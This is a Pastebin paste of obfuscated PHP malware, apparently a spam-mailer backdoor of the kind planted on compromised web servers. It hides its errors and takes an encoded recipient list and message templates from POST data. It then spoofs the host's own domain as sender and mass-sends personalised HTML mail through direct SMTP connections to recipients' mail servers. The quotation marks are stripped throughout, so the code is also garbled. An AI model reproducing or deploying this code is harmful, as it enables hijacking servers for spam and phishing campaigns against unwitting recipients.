Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @error_reporting(NULL);
- @ini_set(error_log,NULL);
- @ini_set(log_errors,0);
- define(DNS_TYPE_MX, 0x000F);
- define(DNS_TYPE_A , 0x0001);
- define(DNS_TYPE_NS, 0x0002);
- define(DNS_STEP_QESTION , 1);
- define(DNS_STEP_ANSWER , 2);
- define(DNS_STEP_AUTHORITY , 3);
- define(DNS_STEP_ADDITIONAL, 4);
- define(SOCKET_TYPE_SOCKET , 1);
- define(SOCKET_TYPE_FSOCKET, 2);
- define(SOCKET_TYPE_STREAM , 4);
- define(SOCKET_TYPE_NO , 5);
- define(SOCKET_PROTO_TCP , 1);
- define(SOCKET_PROTO_UDP , 2);
- define(STEP_CONNECT , 0);
- define(STEP_CONNECTED , 1);
- define(STEP_EHLO , 2);
- define(STEP_MAILFROM , 3);
- define(STEP_RCPTTO , 4);
- define(STEP_DATA , 5);
- define(STEP_BODY , 6);
- define(STEP_QUIT , 7);
- define(STEP_COMPLETED , 8);
- djsxl28($k43, NULL);
- $doloa30 = array(toList => "", fromLogin => "", fromName => "", subjTempl => "", bodyTempl => "", hostFrom => "");
- if (FALSE == lfibl42($k43, $doloa30)) { echo PHP_OS.+md5(0987654321).+01+[[]]
- ;
- exit;
- } $psklc80 = array();
- for ($oqotg69 = 0;
- $oqotg69 < count($doloa30[toList]);
- $oqotg69++) { $qogbe27 = array( id => $oqotg69, g_mailto => "", g_mailto+ => "", g_mailfrom => "", g_mailfrom+ => "", g_domainto => "", g_domainfrom => "", g_namefirst => "", g_namelast => "", g_body => "", g_subject => "", g_fff => FALSE, g_header => "", g_headerfrom => "", s_header => "", s_mxhost => "", s_mxaddr => FALSE, s_sock => FALSE, s_time => time(), s_step => constant(STEP_CONNECT), s_port => 25, s_datain => "", s_dataout => "", s_trig => FALSE, l_err => "", l_done => FALSE, l_way => 0, l_failsmtp => FALSE, l_smtp_end => FALSE, );
- if (FALSE == xtzzk68($k43, $doloa30[toList][$oqotg69], $doloa30, $qogbe27)) { echo PHP_OS.+md5(1111111111).+02+[[yckyp71($k43, $doloa30[toList][$oqotg69]).]]
- ;
- continue;
- } $psklc80[] = $qogbe27;
- } yswsl52($k43, $psklc80);
- itiyt46($k43, $psklc80);
- ztabp45($k43, $psklc80);
- exit;
- function ztabp45($k43, $psklc80) { $hodrc48 = 0;
- $idxqd34 = "";
- for ($oqotg69 = 0;
- $oqotg69 < count($psklc80);
- $oqotg69++) { if ($psklc80[$oqotg69][l_failsmtp] == TRUE) { echo PHP_OS.+md5(2222222222).+04+[[yckyp71($k43, $psklc80[$oqotg69][g_mailto]. :: $psklc80[$oqotg69][l_err]).]]
- ;
- } if ($psklc80[$oqotg69][l_done] == TRUE) { $idxqd34.= $psklc80[$oqotg69][l_way];
- $hodrc48++;
- } } if ($hodrc48 == 0) { echo PHP_OS.+md5(0987654321).+04+[[]]
- ;
- } else { echo OK+md5(1234567890).+$hodrc48.+count($psklc80).[$idxqd34.]
- ;
- } } function itiyt46($k43, &$psklc80) { if (!function_exists(mail)) { return FALSE;
- } for ($oqotg69 = 0;
- $oqotg69 < count($psklc80);
- $oqotg69++) { if ($psklc80[$oqotg69][l_done] == TRUE) { continue;
- } if ($psklc80[$oqotg69][g_fff]) { if (@mail($psklc80[$oqotg69][g_mailto+], $psklc80[$oqotg69][g_subject], $psklc80[$oqotg69][g_body], $psklc80[$oqotg69][g_headerfrom].$psklc80[$oqotg69][g_header], -f$psklc80[$oqotg69][g_mailfrom])) { $psklc80[$oqotg69][l_done] = TRUE;
- $psklc80[$oqotg69][l_way] = 2;
- } else { $psklc80[$oqotg69][l_done] = FALSE;
- } } else { if (@mail($psklc80[$oqotg69][g_mailto+], $psklc80[$oqotg69][g_subject], $psklc80[$oqotg69][g_body], $psklc80[$oqotg69][g_header])) { $psklc80[$oqotg69][l_done] = TRUE;
- $psklc80[$oqotg69][l_way] = 2;
- } else { $psklc80[$oqotg69][l_done] = FALSE;
- } } } } function yswsl52($k43, &$psklc80) { while (enyfv85($k43, $psklc80)) { umply69($k43, $psklc80);
- usleep(25000);
- } } function oomgl82($k43, &$psklc80, $hduev4, $voedq6, $nfeqj66) { if ($psklc80[$hduev4][s_sock] != FALSE) { ymkoa43($k43, $psklc80[$hduev4][s_sock]);
- } $psklc80[$hduev4][l_err] = [$psklc80[$hduev4][s_step].]trim(preg_replace(/
- /, , $voedq6));
- $psklc80[$hduev4][l_failsmtp] = $nfeqj66;
- $psklc80[$hduev4][l_smtp_end] = TRUE;
- return;
- } function umply69($k43, &$psklc80) { $hzpqh94 = time();
- foreach($psklc80 as $hduev4=>$qogbe27) { if ($qogbe27[l_smtp_end] == TRUE) { continue;
- } if ($qogbe27[s_time] + 20 < $hzpqh94) { if ($psklc80[$hduev4][s_step] == constant(STEP_CONNECT) && $psklc80[$hduev4][s_port] != 587) { ymkoa43($k43, $psklc80[$hduev4][s_sock]);
- $psklc80[$hduev4][s_port] = 587;
- $psklc80[$hduev4][s_time] = time();
- continue;
- } oomgl82($k43, $psklc80, $hduev4, timeout, FALSE);
- continue;
- } switch($psklc80[$hduev4][s_step]) { case constant(STEP_CONNECT): if ($psklc80[$hduev4][s_mxaddr] == FALSE) { $psklc80[$hduev4][s_mxaddr] = @gethostbyname($psklc80[$hduev4][s_mxhost]);
- if (!@preg_match(/([0-9]{1,3}\.?){4}/, $psklc80[$hduev4][s_mxaddr])) { oomgl82($k43, $psklc80, $hduev4, resolve mx, FALSE);
- break;
- } } $qumgs10 = 0;
- $brrya46 = '';
- $psklc80[$hduev4][s_sock] = xtdes30($k43, $psklc80[$hduev4][s_sock], constant(SOCKET_PROTO_TCP), $psklc80[$hduev4][s_mxaddr], $psklc80[$hduev4][s_port], 2, $qumgs10, $brrya46, TRUE);
- if ($psklc80[$hduev4][s_sock] == FALSE) { break;
- } if ($qumgs10 == 0 || $qumgs10 === 56 || $qumgs10 === 10056 ) { $psklc80[$hduev4][s_step] = constant(STEP_CONNECTED);
- backu92($k43, $psklc80[$hduev4][s_sock], 15);
- $psklc80[$hduev4][s_time] = time();
- } break;
- case constant(STEP_CONNECTED): if (tlaij97($k43, $psklc80, $hduev4)) { $psklc80[$hduev4][s_datain] = "";
- $psklc80[$hduev4][s_dataout] = EHLO $psklc80[$hduev4][g_domainfrom].
- ;
- $psklc80[$hduev4][s_step] = constant(STEP_EHLO);
- $psklc80[$hduev4][s_time] = time();
- } break;
- case constant(STEP_EHLO): if (czvll25($k43, $psklc80, $hduev4)) { if (tlaij97($k43, $psklc80, $hduev4)) { if (substr($psklc80[$hduev4][s_datain], 0, 3) != 250) { oomgl82($k43, $psklc80, $hduev4, $psklc80[$hduev4][s_datain], TRUE);
- break;
- } $psklc80[$hduev4][s_datain] = "";
- $psklc80[$hduev4][s_dataout] = MAIL FROM:<$psklc80[$hduev4][g_mailfrom].>
- ;
- $psklc80[$hduev4][s_step] = constant(STEP_MAILFROM);
- $psklc80[$hduev4][s_time] = time();
- } break;
- } break;
- case constant(STEP_MAILFROM): if (czvll25($k43, $psklc80, $hduev4)) { if (tlaij97($k43, $psklc80, $hduev4)) { if (substr($psklc80[$hduev4][s_datain], 0, 3) != 250) { oomgl82($k43, $psklc80, $hduev4, $psklc80[$hduev4][s_datain], TRUE);
- break;
- } $psklc80[$hduev4][s_datain] = "";
- $psklc80[$hduev4][s_dataout] = RCPT TO:<$psklc80[$hduev4][g_mailto].>
- ;
- $psklc80[$hduev4][s_step] = constant(STEP_RCPTTO);
- $psklc80[$hduev4][s_time] = time();
- } break;
- } break;
- case constant(STEP_RCPTTO): if (czvll25($k43, $psklc80, $hduev4)) { if (tlaij97($k43, $psklc80, $hduev4)) { if (substr($psklc80[$hduev4][s_datain], 0, 3) != 250 && substr($psklc80[$hduev4][s_datain], 0, 3) != 251) { oomgl82($k43, $psklc80, $hduev4, $psklc80[$hduev4][s_datain], TRUE);
- break;
- } $psklc80[$hduev4][s_datain] = "";
- $psklc80[$hduev4][s_dataout] = DATA
- ;
- $psklc80[$hduev4][s_step] = constant(STEP_DATA);
- $psklc80[$hduev4][s_time] = time();
- } break;
- } break;
- case constant(STEP_DATA): if (czvll25($k43, $psklc80, $hduev4)) { if (tlaij97($k43, $psklc80, $hduev4)) { if (substr($psklc80[$hduev4][s_datain], 0, 3) != 354) { oomgl82($k43, $psklc80, $hduev4, $psklc80[$hduev4][s_datain], TRUE);
- break;
- } $psklc80[$hduev4][s_datain] = "";
- $psklc80[$hduev4][s_dataout] = $psklc80[$hduev4][s_header].
- $psklc80[$hduev4][g_body].
- .
- ;
- $psklc80[$hduev4][s_step] = constant(STEP_BODY);
- $psklc80[$hduev4][s_time] = time();
- } break;
- } break;
- case constant(STEP_BODY): if (czvll25($k43, $psklc80, $hduev4)) { if (tlaij97($k43, $psklc80, $hduev4)) { if (substr($psklc80[$hduev4][s_datain], 0, 3) != 250) { oomgl82($k43, $psklc80, $hduev4, $psklc80[$hduev4][s_datain], TRUE);
- break;
- } $psklc80[$hduev4][s_datain] = "";
- $psklc80[$hduev4][s_dataout] = QUIT
- ;
- $psklc80[$hduev4][s_step] = constant(STEP_QUIT);
- $psklc80[$hduev4][s_time] = time();
- $psklc80[$hduev4][l_done] = TRUE;
- $psklc80[$hduev4][l_way] = 1;
- } break;
- } break;
- case constant(STEP_QUIT): if (czvll25($k43, $psklc80, $hduev4)) { oomgl82($k43, $psklc80, $hduev4, "", FALSE);
- } break;
- } } } function tlaij97($k43, &$psklc80, $hduev4) { $qumgs10 = 0;
- $brrya46 = "";
- if ($psklc80[$hduev4][s_trig] == FALSE) { if (strlen($psklc80[$hduev4][s_datain]) != 0) { return TRUE;
- } return FALSE;
- } $hyhjy72 = snnkj53($k43, $psklc80[$hduev4][s_sock], 4086, $qumgs10, $brrya46);
- if ($hyhjy72 == FALSE || $hyhjy72 == "") { if ($qumgs10 != 35 && $qumgs10 != 10035 && $qumgs10!= 11 && $qumgs10!= 10060) { oomgl82($k43, $psklc80, $hduev4, $brrya46, FALSE);
- return FALSE;
- } if (strlen($psklc80[$hduev4][s_datain]) != 0) { return TRUE;
- } return FALSE;
- } $psklc80[$hduev4][s_datain] = $hyhjy72;
- return FALSE;
- } function czvll25($k43, &$psklc80, $hduev4) { $qumgs10 = 0;
- $brrya46 = "";
- if (strlen($psklc80[$hduev4][s_dataout]) == 0) { return TRUE;
- } $hyhjy72 = hmkal19($k43, $psklc80[$hduev4][s_sock], $psklc80[$hduev4][s_dataout], $qumgs10, $brrya46);
- if ($hyhjy72 == FALSE) { if ($qumgs10 != 35 && $qumgs10 != 10035 && $qumgs10 != 11 && $qumgs10 != 10060) { oomgl82($k43, $psklc80, $hduev4, $brrya46, FALSE);
- } return FALSE;
- } $psklc80[$hduev4][s_dataout] = substr($psklc80[$hduev4][s_dataout], $hyhjy72);
- if (strlen($psklc80[$hduev4][s_dataout]) == 0) { return TRUE;
- } return FALSE;
- } function enyfv85($k43, &$psklc80) { $tybst41 = FALSE;
- if (constant(SOCKET_TYPE) != constant(SOCKET_TYPE_SOCKET)) { foreach(array_keys($psklc80) as $hduev4) { if ($psklc80[$hduev4][l_smtp_end] != TRUE) { $psklc80[$hduev4][s_trig] = TRUE;
- $tybst41 = TRUE;
- } } return $tybst41;
- } $ngtqz0 = array();
- foreach(array_keys($psklc80) as $hduev4) { if ($psklc80[$hduev4][l_smtp_end] != TRUE) { if ($psklc80[$hduev4][s_sock] == 0 || $psklc80[$hduev4][s_step] == constant(STEP_CONNECT)) { $psklc80[$hduev4][s_trig] = TRUE;
- } else { $psklc80[$hduev4][s_trig] = FALSE;
- $ngtqz0[]=$psklc80[$hduev4][s_sock];
- } $tybst41 = TRUE;
- } } if (count($ngtqz0) == 0) { return $tybst41;
- } $wnqhw0 = @socket_select($ngtqz0, $pqwvt36 = NULL, $mtvue60 = NULL, 0);
- if ($wnqhw0 == FALSE || $wnqhw0 == 0) { return $tybst41;
- } foreach(array_keys($psklc80) as $hduev4) { $psklc80[$hduev4][s_trig] = FALSE;
- foreach($ngtqz0 as $jlpom73) { if ($psklc80[$hduev4][s_sock] == $jlpom73) { $psklc80[$hduev4][s_trig] = TRUE;
- break;
- } } } return $tybst41;
- } function djsxl28($k43, $qszpx24) { if (function_exists(socket_create) && function_exists(socket_connect) && function_exists(socket_read) && function_exists(socket_write)) { define(SOCKET_TYPE, constant(SOCKET_TYPE_SOCKET));
- return TRUE;
- } if (function_exists(fsockopen)) { define(SOCKET_TYPE, constant(SOCKET_TYPE_FSOCKET));
- return TRUE;
- } if (function_exists(stream_socket_client)) { define(SOCKET_TYPE, constant(SOCKET_TYPE_STREAM));
- return TRUE;
- } define(SOCKET_TYPE, constant(SOCKET_TYPE_NO));
- return FALSE;
- } function xtzzk68($k43, $lrfaa93, $doloa30, &$qogbe27) { $pvrxc23 = array();
- if (FALSE === @preg_match(/(.*?;)?(.*?;)?(.+@(.+)?);?/, $lrfaa93, $pvrxc23) ) { return FALSE;
- } if (!isset($pvrxc23) || count($pvrxc23) != 5) { return FALSE;
- } $qogbe27[g_namefirst] = @ucfirst(str_replace(;,"",$pvrxc23[1]));
- $qogbe27[g_namelast] = @ucfirst(str_replace(;,"",$pvrxc23[2]));
- $qogbe27[g_mailto] = str_replace(;,"",$pvrxc23[3]);
- $qogbe27[g_domainto] = str_replace(;,"",$pvrxc23[4]);
- if (!isset($qogbe27[g_mailto]) || $qogbe27[g_mailto] == "") { return FALSE;
- } if (!isset($qogbe27[g_domainto]) || $qogbe27[g_domainto] == "") { return FALSE;
- } if (isset($qogbe27[g_namefirst]) && $qogbe27[g_namefirst] != "") { $qogbe27[g_mailto+] = "$qogbe27[g_namefirst]. $qogbe27[g_namelast]." <$qogbe27[g_mailto].>;
- } else { $qogbe27[g_mailto+] = $qogbe27[g_mailto];
- } $qogbe27[g_domainfrom] = $doloa30[hostFrom];
- if (preg_match(/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/, $doloa30[hostFrom]) || @ini_get(safe_mode)) { $qogbe27[g_fff] = FALSE;
- } else { $qogbe27[g_fff] = TRUE;
- } $qogbe27[g_mailfrom] = $doloa30[fromLogin].@$doloa30[hostFrom];
- if (isset($doloa30[fromName]) && $doloa30[fromName] != "") { $qogbe27[g_mailfrom+] = $doloa30[fromName]. <$qogbe27[g_mailfrom].>;
- } else { $qogbe27[g_mailfrom+] = $qogbe27[g_mailfrom];
- } $qogbe27[s_mxhost] = zadjp9($k43, $qogbe27[g_domainto]);
- $qogbe27[g_subject] = @str_replace(%R_NAME%, $qogbe27[g_namefirst], $doloa30[subjTempl]);
- $qogbe27[g_subject] = @str_replace(%R_LNAME%, $qogbe27[g_namelast], $qogbe27[g_subject]);
- $qogbe27[g_body] = @str_replace(%R_NAME%, $qogbe27[g_namefirst], $doloa30[bodyTempl]);
- $qogbe27[g_body] = @str_replace(%R_LNAME%, $qogbe27[g_namelast], $qogbe27[g_body]);
- $qogbe27[g_body] = @str_replace(%MAIL_EN%, yckyp71($k43, $qogbe27[g_mailto]), $qogbe27[g_body]);
- $qogbe27[g_header] = X-Priority: 3 (Normal)
- ;
- $qogbe27[g_header] .= MIME-Version: 1.0
- ;
- $qogbe27[g_header] .= Content-Type: text/html; charset="iso-8859-1"
- ;
- $qogbe27[g_header] .= Content-Transfer-Encoding: 8bit
- ;
- $qogbe27[g_headerfrom] = From: $qogbe27[g_mailfrom+].
- ;
- $qogbe27[g_headerfrom] .= Reply-To:$qogbe27[g_mailfrom+].
- ;
- $qogbe27[s_header] = Date: . @date(D, j M Y G:i:s O).
- ;
- $qogbe27[s_header] .= $qogbe27[g_headerfrom];
- $qogbe27[s_header] .= Message-ID:
- ;
- $qogbe27[s_header] .= To: $qogbe27[g_mailto+].
- ;
- $qogbe27[s_header] .= Subject: $qogbe27[g_subject].
- ;
- $qogbe27[s_header] .= $qogbe27[g_header];
- return TRUE;
- } function zadjp9($k43, $ncmsb34) { $vhlhu65 = array();
- $iyblu89 = array();
- if (function_exists(getmxrr)) { @getmxrr($ncmsb34, $vhlhu65, $iyblu89);
- } else { if (constant(SOCKET_TYPE) == constant(SOCKET_TYPE_NO)) { return FALSE;
- } $wnqhw0 = hstaj32($k43, $ncmsb34, constant(DNS_TYPE_MX));
- if ($wnqhw0 == FALSE || !isset($wnqhw0[ans])) { return FALSE;
- } foreach ($wnqhw0[ans] as $nfveq2) { if ($nfveq2[type] == constant(DNS_TYPE_MX)) { $vhlhu65[] = $nfveq2[data];
- $iyblu89[] = $nfveq2[preference];
- } } } if (count($vhlhu65) == 0) { return FALSE;
- } $qxojp41 = array_keys($iyblu89, min($iyblu89));
- return $vhlhu65[$qxojp41[0]];
- } function lfibl42($k43, &$doloa30) { if (count(${_POST}) < 2) { return FALSE;
- } $fcyfv0 = false;
- $sxkwl85 = $jwddp95 = "";
- foreach (array_keys(${_POST}) as $pgqap78) { if ($pgqap78[0] == l) { $sxkwl85 = $pgqap78;
- } if ($pgqap78[0] == d) { $jwddp95 = $pgqap78;
- } if ($pgqap78[0] == e) { $fcyfv0 = true;
- } } if ($sxkwl85 == "" || $jwddp95 == "") { return FALSE;
- } $huemp14 = ktdll68($k43, $sxkwl85, $fcyfv0 );
- $ztwvg68= ktdll68($k43, $jwddp95, $fcyfv0);
- if ($huemp14 == FALSE || $ztwvg68 == FALSE) { return FALSE;
- } $doloa30[toList] = @preg_split(/#/, $huemp14);
- $doloa30[fromLogin] = $doloa30[fromName] = $doloa30[subjTempl] = $doloa30[bodyTempl] = "";
- $pvrxc23 = array();
- if (FALSE !== @preg_match(/(.*?)<\/USER>/ism, $ztwvg68, $pvrxc23) && isset($pvrxc23) && count($pvrxc23) > 1) { $doloa30[fromLogin] = $pvrxc23[1];
- } if (FALSE !== @preg_match(/(.*?)<\/NAME>/ism, $ztwvg68, $pvrxc23) && isset($pvrxc23) && count($pvrxc23) > 1) { $doloa30[fromName] = $pvrxc23[1];
- } if (FALSE !== @preg_match(/(.*?)<\/SUBJ>/ism, $ztwvg68, $pvrxc23) && isset($pvrxc23) && count($pvrxc23) > 1) { $doloa30[subjTempl] = $pvrxc23[1];
- } if (FALSE !== @preg_match(/(.*?)<\/SBODY>/ism,$ztwvg68, $pvrxc23) && isset($pvrxc23) && count($pvrxc23) > 1) { $doloa30[bodyTempl] = $pvrxc23[1];
- } $doloa30[hostFrom] = @preg_replace(/^(www|ftp)\./i, '', $_SERVER[HTTP_HOST]);
- return TRUE;
- } function ktdll68($k43, $pgqap78, $fcyfv0) { if (!isset($pgqap78) || $pgqap78 == "") { return FALSE;
- } $pzisb60 = @${_POST}[$pgqap78];
- if ($fcyfv0) { $pzisb60 = kciyz70($k43, $pzisb60);
- for($qxojp41 = 0;
- $qxojp41 < strlen($pzisb60);
- $qxojp41++) { $pzisb60[$qxojp41]= chr(ord($pzisb60[$qxojp41]) ^ 2);
- } } return urldecode(stripslashes($pzisb60));
- } function kciyz70($k43, $jenku79) { $tybst41="";
- for($oqotg69=0;$oqotg69<256;$oqotg69++){$vvjpm89[$oqotg69]=chr($oqotg69);} $ektdf48=array_flip(preg_split(//,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/,-1,1));
- $wcrzn74 = array();
- preg_match_all(([A-z0-9+\/]{1,4}),$jenku79,$wcrzn74);
- foreach($wcrzn74[0] as $sigea17){ $fsjgk86=0;
- for($oqotg69=0;isset($sigea17[$oqotg69]);$oqotg69++){ $fsjgk86=($fsjgk86<<6)+$ektdf48[$sigea17[$oqotg69]];
- if($oqotg69>0){ $tybst41.=$vvjpm89[$fsjgk86>>(4-(2*($oqotg69-1)))];$fsjgk86=$fsjgk86&(0xf>>(2*($oqotg69-1)));
- } } } return $tybst41;
- } function yckyp71($k43, $tvgou23) { for($qxojp41 = 0;
- $qxojp41 < strlen($tvgou23);
- $qxojp41++) { $tvgou23[$qxojp41] = chr(ord($tvgou23[$qxojp41]) ^ 2);} return base64_encode($tvgou23);
- } function xtdes30($k43, $mpyps13, $vnvri13, $zypox8, $fgixe47, $xhwfc24, &$qumgs10, &$brrya46, $efyhj24 = false) { $rzbnu33 = "";
- $ybsgg91 = NULL;
- $nfxxs93 = NULL;
- $qumgs10 = 0;
- $brrya46 = "";
- if ($vnvri13 == constant(SOCKET_PROTO_TCP)) { $rzbnu33 = tcp;
- $ybsgg91 = SOL_TCP;
- $nfxxs93 = SOCK_STREAM;
- } else if ($vnvri13 == constant(SOCKET_PROTO_UDP)) { $rzbnu33 = udp;
- $nfxxs93 = SOCK_DGRAM;
- $ybsgg91 = SOL_UDP;
- } else { $brrya46 = Error: invalid protocol;
- return FALSE;
- } switch(constant(SOCKET_TYPE)) { case constant(SOCKET_TYPE_SOCKET): if ($mpyps13 == FALSE) { $mpyps13 = @socket_create(AF_INET, $nfxxs93, $ybsgg91);
- if ($mpyps13 == FALSE) { $qumgs10 = socket_last_error();
- $brrya46 = socket_strerror($qumgs10);
- break;
- } socket_set_option($mpyps13 , SOL_SOCKET, SO_REUSEADDR, 1);
- socket_set_option($mpyps13 , SOL_SOCKET, SO_RCVTIMEO, array(sec => $xhwfc24, usec => 0));
- socket_set_option($mpyps13 , SOL_SOCKET, SO_SNDTIMEO, array(sec => $xhwfc24, usec => 0));
- if ($efyhj24) { socket_set_nonblock($mpyps13);
- } } if (!@socket_connect($mpyps13, $zypox8, $fgixe47)) { $qumgs10 = socket_last_error($mpyps13);
- $brrya46 = socket_strerror($qumgs10);
- } if ($efyhj24) { socket_set_nonblock($mpyps13);
- } break;
- case constant(SOCKET_TYPE_FSOCKET): $mpyps13 = @fsockopen($rzbnu33.://$zypox8, $fgixe47, $qumgs10, $brrya46, $xhwfc24);
- if ($mpyps13 && $efyhj24) { @stream_set_blocking($mpyps13, 0);
- } @stream_set_timeout($mpyps13, $xhwfc24);
- break;
- case constant(SOCKET_TYPE_STREAM): $mpyps13 = @stream_socket_client($rzbnu33.://$zypox8.:$fgixe47, $qumgs10, $brrya46, $xhwfc24);
- if ($mpyps13 && $efyhj24) { @stream_set_blocking($mpyps13, 0);
- } @stream_set_timeout($mpyps13, $xhwfc24);
- break;
- default: $brrya46 = Error: invalid socket type;
- return FALSE;
- } return $mpyps13;
- } function ymkoa43($k43, &$mpyps13) { if ($mpyps13 == FALSE) { return;
- } if (constant(SOCKET_TYPE) == constant(SOCKET_TYPE_SOCKET)) { @socket_close($mpyps13);
- } else { @fclose($mpyps13);
- } $mpyps13 = FALSE;
- return;
- } function snnkj53($k43, $mpyps13, $zrcfs8, &$qumgs10, &$brrya46) { if ($mpyps13 == FALSE) { return FALSE;
- } if (constant(SOCKET_TYPE) == constant(SOCKET_TYPE_SOCKET)) { $tybst41 = @socket_read($mpyps13, $zrcfs8, PHP_BINARY_READ);
- if ($tybst41 == FALSE) { $qumgs10 = socket_last_error($mpyps13);
- $brrya46 = socket_strerror($qumgs10);
- } } else { if (@feof($mpyps13)) { return FALSE;
- } $tybst41 = @fread($mpyps13, $zrcfs8);
- if (strlen($tybst41) == 0) { $qumgs10 = 35;
- } } return $tybst41;
- } function hmkal19($k43, $mpyps13, $hyhjy72, &$qumgs10, &$brrya46) { if ($mpyps13 == FALSE) { return FALSE;
- } if (constant(SOCKET_TYPE) == constant(SOCKET_TYPE_SOCKET)) { $tybst41 = @socket_write($mpyps13, $hyhjy72);
- if ($tybst41 == FALSE) { $qumgs10 = socket_last_error($mpyps13);
- $brrya46 = socket_strerror($qumgs10);
- } } else { if (@feof($mpyps13)) { return FALSE;
- } $tybst41 = @fwrite($mpyps13, $hyhjy72);
- } return $tybst41;
- } function backu92($k43, $mpyps13, $xhwfc24) { if ($mpyps13 == FALSE) { return FALSE;
- } if (constant(SOCKET_TYPE) == constant(SOCKET_TYPE_SOCKET)) { @socket_set_option($mpyps13 , SOL_SOCKET, SO_RCVTIMEO, array(sec => $xhwfc24, usec => 0));
- @socket_set_option($mpyps13 , SOL_SOCKET, SO_SNDTIMEO, array(sec => $xhwfc24, usec => 0));
- } else { @stream_set_timeout($mpyps13, $xhwfc24);
- } return TRUE;
- } function hstaj32($k43, $ncmsb34, $zpila93) { $qumgs10 = 0;
- $brrya46 = "";
- $mpyps13 = xtdes30($k43, FALSE, constant(SOCKET_PROTO_UDP), 8.8.8.8, 53, 10, $qumgs10, $brrya46);
- if (!$mpyps13) { return FALSE;
- } $akprv13 = rand(0x0001, 0xFFFE);
- $ysyof52 = explode(., $ncmsb34);
- $smuzd92 = pack(nnnnnn, $akprv13, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);
- foreach($ysyof52 as $gmzqj4) { $smuzd92 .= pack(Ca*, strlen($gmzqj4), $gmzqj4);
- } $smuzd92.= pack(Cnn, 0x00, $zpila93, 0x0001);
- $wnqhw0 = hmkal19($k43, $mpyps13, $smuzd92, $qumgs10, $brrya46);
- if (!$wnqhw0 || $wnqhw0 != strlen($smuzd92)) { ymkoa43($k43, $mpyps13);
- return FALSE;
- } $ipakp58 = snnkj53($k43, $mpyps13, 4086, $qumgs10, $brrya46);
- if ($ipakp58 == FALSE || strlen($ipakp58) < 12) { ymkoa43($k43, $mpyps13);
- return FALSE;
- } $neszi8 = unpack(ntid/nflags/nque/nans/nauth/nadd, substr($ipakp58, 0, 12));
- $brham63 = 12;
- $tybst41 = array(header => $neszi8);
- for ($oqotg69 = constant(DNS_STEP_QESTION);
- $oqotg69 <= constant(DNS_STEP_ADDITIONAL);
- $oqotg69++) { $pxhga54 = '';
- switch ($oqotg69) { case constant(DNS_STEP_QESTION): $pxhga54 = que;
- break;
- case constant(DNS_STEP_ANSWER): $pxhga54 = ans;
- break;
- case constant(DNS_STEP_AUTHORITY):$pxhga54 = auth;break;
- case constant(DNS_STEP_ADDITIONAL):$pxhga54 = add;break;
- } for ($knxem73 = 0;
- $knxem73 < $neszi8[$pxhga54];
- $knxem73++) { $pzyqd73[name] = gqsuo81($k43, $brham63, $ipakp58);
- if ($oqotg69 == constant(DNS_STEP_QESTION)) { $pzyqd73 = array_merge($pzyqd73, unpack(ntype/nclass, substr($ipakp58, $brham63, 4)));
- $brham63+=4;
- } else { $pzyqd73 = array_merge($pzyqd73 , unpack(ntype/nclass/Nttl/ndatalength, substr($ipakp58, $brham63, 10)));
- $brham63+=10;
- switch ($pzyqd73[type]) { case constant(DNS_TYPE_MX): $pzyqd73 = array_merge($pzyqd73, unpack(npreference, substr($ipakp58, $brham63, 2)));
- $brham63+=2;
- $pzyqd73[data] = gqsuo81($k43, $brham63, $ipakp58);
- break;
- case constant(DNS_TYPE_A): $pzyqd73 = array_merge($pzyqd73, unpack(Ndata, substr($ipakp58, $brham63, 4)));
- $brham63+=4;
- $pzyqd73[ip] = long2ip($pzyqd73[data]);
- break;
- case constant(DNS_TYPE_NS): $pzyqd73[data] = gqsuo81($k43, $brham63, $ipakp58);
- break;
- default: $brham63 += $pzyqd73[datalength];
- } } $tybst41[$pxhga54][] = $pzyqd73;
- } } return $tybst41;
- } function gqsuo81($k43, &$pwukv0, $ipakp58) { $tybst41 = "";
- $bhbyj64 = $pwukv0;
- while (ord($ipakp58[$bhbyj64]) != 0) { if (ord($ipakp58[$bhbyj64]) == 0xC0) { if ($bhbyj64 >= $pwukv0) { $pwukv0 += 2;
- } $bhbyj64 = ord($ipakp58[$bhbyj64 + 1]);
- continue;
- } if (strlen($tybst41) > 0) { $tybst41 .= .;
- } $tybst41 .= substr($ipakp58, $bhbyj64 + 1, ord($ipakp58[$bhbyj64]));
- $bhbyj64 += ord($ipakp58[$bhbyj64]) + 1;
- if ($bhbyj64 > $pwukv0) { $pwukv0 = $bhbyj64;
- } } if ($bhbyj64 >= $pwukv0) { $pwukv0 += 1;
- } return $tybst41;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement